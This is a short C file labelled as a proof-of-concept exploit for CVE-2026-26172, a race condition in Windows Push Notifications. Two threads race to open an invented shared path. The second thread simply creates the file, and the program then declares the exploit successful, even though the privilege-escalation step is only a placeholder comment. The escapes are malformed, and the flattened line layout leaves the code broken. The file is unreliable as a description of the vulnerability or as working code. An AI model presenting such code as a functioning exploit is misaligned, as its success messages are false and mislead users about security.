CVE-2026-26172

/* * PoC for Race Condition in Windows Push Notifications * This code attempts to exploit a synchronization issue. * Note: This is a conceptual demonstration for educational purposes. */ #include <windows.h> #include <stdio.h> volatile BOOL isExploited = FALSE; DWORD WINAPI Thread1(LPVOID lpParam) { // Simulate checking permission on a shared resource HANDLE hShared = CreateFile(L"\\.\WindowsPushNotificationShared", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL); if (hShared != INVALID_HANDLE_VALUE) { printf("[+] Thread 1: Accessed shared resource.\n"); // Introduce a delay to widen the race window Sleep(100); CloseHandle(hShared); } return 0; } DWORD WINAPI Thread2(LPVOID lpParam) { // Wait for the small window where Thread1 has checked but not finished Sleep(50); // Attempt to impersonate or modify the resource during the window HANDLE hShared = CreateFile(L"\\.\WindowsPushNotificationShared", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL); if (hShared != INVALID_HANDLE_VALUE) { printf("[+] Thread 2: Exploited race condition!\n"); // Logic to elevate privileges would go here isExploited = TRUE; CloseHandle(hShared); } return 0; } int main() { printf("[*] Starting PoC for CVE-2026-26172...\n"); HANDLE hThreads[2]; // Create racing threads hThreads[0] = CreateThread(NULL, 0, Thread1, NULL, 0, NULL); hThreads[1] = CreateThread(NULL, 0, Thread2, NULL, 0, NULL); WaitForMultipleObjects(2, hThreads, TRUE, INFINITE); if (isExploited) { printf("[+] Exploit successful. Privileges potentially escalated.\n"); } else { printf("[-] Exploit failed. Race condition not triggered.\n"); } CloseHandle(hThreads[0]); CloseHandle(hThreads[1]); return 0; }

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